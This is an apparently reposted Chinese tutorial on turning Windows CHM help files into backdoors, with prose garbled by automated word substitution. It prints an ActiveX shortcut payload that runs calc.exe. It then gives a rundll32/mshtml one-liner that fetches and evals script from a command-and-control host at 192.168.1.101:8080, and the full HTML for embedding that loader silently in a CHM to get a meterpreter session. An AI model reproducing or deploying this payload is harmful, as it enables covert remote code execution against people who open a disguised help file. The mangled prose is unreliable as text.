副问题[/!--empirenews.page--]
一、CHM简介
在先容怎么行使CHM来作为后门之前,起主要知道CMH是什么对象。
CHM(Compiled Help Manual)即“已编译的辅佐文件”。它是微软新一代的辅佐文件名目,操作HTML作源文,把辅佐内容以相同数据库的情势编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet接洽在一路。由于行使利便,情势多样也被回收作为电子书的名目。
二、CHM建造
CHM的建造要领许多。有多款器材可以行使,这里就不在做具体的先容了。本次测试行使了EasyCHM来建造CHM文件,行使起来很是简朴。
新建如下目次,文件内容随意:
打开EasyCHM,新建->赏识。选择该目次。默认文件范例:
点击确认,即可看到预览的CHM文件:
选择编译,即可编译成CHM文件。
三、CHM Execute Command
14年的时辰@ithurricanept 在twitter上发了一个demo,通过CHM运行计较器:
操作代码如下:
- <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
将以上代码写入html,置于工程目次举办编译,天生CHM文件,运行此文件,弹出计较器:
四、去除弹框
有测试过nishang Out-CHM的同窗会发明,运行天生的CHM文件的时辰会看到明明的弹框。就像这样:
某个晚上溘然脑洞了一下,想到了一个好的方法来让他不表现弹框,即团结行使JavaScript Backdoor。颠末测试,乐成实此刻不弹框的环境下获取meterpreter会话,此次测试行使一个我修悔改的python版 JSRat.ps1 ,地点为:https://github.com/Ridter/MyJSRat。行使方法详见 readme。
以下为完备的测试进程:
1. 团结CHM + JSBackdoor
行使交互模式的JSRat server:
- python MyJSRat.py -i 192.168.1.101 -p 8080
会见 http://192.168.1.101:8080/wtf 获取进攻代码如下:
- rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
颠末多次测试,乐成将以上呼吁写入chm,其Html代码为:
- <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET"," http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
(编辑:河北网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|